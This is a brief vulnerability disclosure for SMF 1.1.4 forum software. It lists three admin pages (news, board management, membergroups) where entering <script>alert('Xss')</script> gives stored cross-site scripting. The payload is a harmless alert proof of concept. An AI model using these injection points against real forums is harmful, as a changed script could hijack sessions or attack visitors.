SMF 1.1.4 Xss

[zbeng]

Found Xss in the administration...

1----------------------

Go to [url]http://link/[/url][path]/index.php?action=news

Modify the news and insert

<script>alert('Xss')</script>

Save the news! no an alert will be generated in every page!

2---------------------

Go to [url]http://link/[/url][path]/index.php?action=manageboards

Create a new forum with Title:

<script>alert('Xss')</script>

result? XSS  

3---------------------
Go here [url]http://link/[/url][path]/index.php?action=membergroups;

Modify or create a new gruop and name it:

<script>alert('Xss')</script>


----------------------